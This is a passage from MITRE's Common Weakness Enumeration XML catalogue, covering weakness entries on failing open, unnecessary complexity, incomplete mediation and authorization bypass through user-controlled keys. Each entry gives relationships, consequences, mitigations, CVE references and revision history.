					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>280</Relationship_Target_ID>
					          <!--Improper Handling of Insufficient Permissions or Privileges -->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Failing Open</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Intended access restrictions can be bypassed, which is often
							contradictory to what the product's administrator expects.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Subdivide and allocate resources and components so that a failure in
							one part does not affect the entire product.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Switches may revert their functionality to that of hubs when the
						table used to map ARP information to the switch interface overflows, such as
						when under a spoofing attack. This results in traffic being broadcast to an
						eavesdropper, instead of being sent only on the relevant switch interface.
						To mitigate this type of problem, the developer could limit the number of
						ARP entries that can be recorded for a given switch interface, while other
						interfaces may keep functioning normally. Configuration options can be
						provided on the appropriate actions to be taken in case of a detected
						failure, but safe defaults should be used.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5277</Observed_Example_Reference>
					          <Observed_Example_Description>The failure of connection attempts in a web
						browser resets DNS pin restrictions. An attacker can then bypass the same
						origin policy by rebinding a domain name to a different IP address. This was
						an attempt to "fail functional."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4407</Observed_Example_Reference>
					          <Observed_Example_Description>Incorrect prioritization leads to the selection of
						a weaker cipher. Although it is not known whether this issue occurred in
						implementation or design, it is feasible that a poorly designed algorithm
						could be a factor.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Since design issues are hard to fix, they are rarely publicly reported, so
						there are few CVE examples of this problem as of January 2008. Most publicly
						reported issues occur as the result of an implementation error instead of
						design, such as CVE-2005-3177 (Improper handling of large numbers of
						resources) or CVE-2005-2969 (inadvertently disabling a verification step,
						leading to selection of a weaker protocol).</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Failing Securely</Reference_Title>
					          <Reference_PubDate>2005-12-05</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/349.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Improper Error Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Pascal Meunier</Submitter>
					          <Submitter_Organization>Purdue University</Submitter_Organization>
					          <Submission_Date>2008-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Name,
						Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Design Principle Violation:
						Not Failing Securely</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Not Failing Securely (aka 'Failing Open')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Not Failing Securely (aka
						'Failing Open')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="637" Name="Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses a more complex mechanism than necessary,
					which could lead to resultant weaknesses when the mechanism is not correctly
					understood, modeled, configured, implemented, or used.</Description_Summary>
				        <Extended_Description>
					          <Text>Security mechanisms should be as simple as possible. Complex security
						mechanisms may engender partial implementations and compatibility problems,
						with resulting mismatches in assumptions and implemented security. A
						corollary of this principle is that data specifications should be as simple
						as possible, because complex data specifications result in complex
						validation code. Complex tasks and systems may also need to be guarded by
						complex security checks, so simple systems should be preferred.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Unnecessary Complexity</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid complex security mechanisms when simpler ones would meet
							requirements. Avoid complex data models, and unnecessarily complex
							operations. Adopt architectures that provide guarantees, simplify
							understanding through elegance and abstraction, and that can be
							implemented similarly. Modularize, isolate and do not trust complex
							code, and apply other secure programming principles on these modules
							(e.g., least privilege) to mitigate vulnerabilities.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The IPSEC specification is complex, which resulted in bugs, partial
						implementations, and incompatibilities between vendors.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>HTTP Request Smuggling (CWE-444) attacks are feasible because there
						are not stringent requirements for how illegal or inconsistent HTTP headers
						should be handled. This can lead to inconsistent implementations in which a
						proxy or firewall interprets the same data stream as a different set of
						requests than the end points in that stream.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6067</Observed_Example_Reference>
					          <Observed_Example_Description>Support for complex regular expressions leads to a
						resultant algorithmic complexity weakness
						(CWE-407).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1552</Observed_Example_Reference>
					          <Observed_Example_Description>Either a filename extension and a Content-Type
						header could be used to infer the file type, but the developer only checks
						the Content-Type, enabling unrestricted file upload
						(CWE-434).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6479</Observed_Example_Reference>
					          <Observed_Example_Description>In Apache environments, a "filename.php.gif" can
						be redirected to the PHP interpreter instead of being sent as an image/gif
						directly to the user. Not knowing this, the developer only checks the last
						extension of a submitted filename, enabling arbitrary code
						execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2148</Observed_Example_Reference>
					          <Observed_Example_Description>The developer cleanses the $_REQUEST superglobal
						array, but PHP also populates $_GET, allowing attackers to bypass the
						protection mechanism and conduct SQL injection attacks against code that
						uses $_GET.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Economy of Mechanism</Reference_Title>
					          <Reference_PubDate>2005-09-13</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/348.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Pascal Meunier</Submitter>
					          <Submitter_Organization>Purdue University</Submitter_Organization>
					          <Submission_Date>2008-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name, Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Not Using Economy of Mechanism</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Use Economy of
						Mechanism</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="638" Name="Not Using Complete Mediation" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not perform access checks on a resource every
					time the resource is accessed by an entity, which can create resultant
					weaknesses if that entity's rights or privileges change over
					time.</Description_Summary>
				        <Extended_Description/>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>862</Relationship_Target_ID>
					          <!--Missing Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A user might retain access to a critical resource even after
							privileges have been revoked, possibly allowing access to privileged
							functionality or sensitive information, depending on the role of the
							resource.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Invalidate cached privileges, file handles or descriptors, or other
							access credentials whenever identities, processes, policies, roles,
							capabilities or permissions change. Perform complete authentication
							checks before accepting, caching and reusing data, dynamic content and
							code (scripts). Avoid caching access control decisions as much as
							possible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify all possible code paths that might access sensitive
							resources. If possible, create and use a single interface that performs
							the access checks, and develop code standards that require use of this
							interface.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>When executable library files are used on web servers, which is
						common in PHP applications, the developer might perform an access check in
						any user-facing executable, and omit the access check from the library file
						itself. By directly requesting the library file (CWE-425), an attacker can
						bypass this access check.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>When a developer begins to implement input validation for a web
						application, often the validation is performed in each area of the code that
						uses externally-controlled input. In complex applications with many inputs,
						the developer often misses a parameter here or a cookie there. One
						frequently-applied solution is to centralize all input validation, store
						these validated inputs in a separate data structure, and require that all
						access of those inputs must be through that data structure. An alternate
						approach would be to use an external input validation framework such as
						Struts, which performs the validation before the inputs are ever processed
						by the code.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0408</Observed_Example_Reference>
					          <Observed_Example_Description>Server does not properly validate client
						certificates when reusing cached connections.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Complete Mediation</Reference_Title>
					          <Reference_PubDate>2005-09-12</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/346.html</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>104</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Pascal Meunier</Submitter>
					          <Submitter_Organization>Purdue University</Submitter_Organization>
					          <Submission_Date>2008-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Observed_Example, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Not Using Complete Mediation</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Use Complete
						Mediation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="639" Name="Authorization Bypass Through User-Controlled Key" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The system's authorization functionality does not prevent one
					user from gaining access to another user's data or record by modifying the key
					value identifying the data.</Description_Summary>
				        <Extended_Description>
					          <Text>Retrieval of a user record occurs in the system based on some key value
						that is under user control. The key would typically identify a user related
						record stored in the system and would be used to lookup that record for
						presentation to the user. It is likely that an attacker would have to be an
						authenticated user in the system. However, the authorization process would
						not properly check the data access operation to ensure that the
						authenticated user performing the operation has sufficient entitlements to
						perform the requested data access, hence bypassing any other authorization
						checks present in the system. One manifestation of this weakness would be if
						a system used sequential or otherwise easily guessable session ids that
						would allow one user to easily switch to another user's session and
						read/modify their data.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>862</Relationship_Target_ID>
					          <!--Missing Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>715</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>813</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A4 - Insecure Direct Object References-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Horizontal Authorization</Term>
					          <Alternate_Term_Description>
						            <Text>"Horizontal Authorization" is used to describe situations in which two
							users have the same privilege level, but must be prevented from
							accessing each other's resources. This is fairly common when using
							key-based access to resources in a multi-user context.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The key used internally in the system to identify the user record can be
						externally controlled. For example attackers can look at places where user
						specific data is retrieved (e.g. search screens) and determine whether the
						key for the item being looked up is controllable externally. The key may be
						a hidden field in the HTML form field, might be passed as a URL parameter or
						as an unencrypted cookie variable, then in each of these cases it will be
						possible to tamper with the key value.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Access control checks for specific user data or functionality can be
							bypassed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Horizontal escalation of privilege is possible (one user can
							view/modify information of another user).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Vertical escalation of privilege is possible if the user controlled
							key is actually an admin flag allowing to gain administrative
							access.</Text>
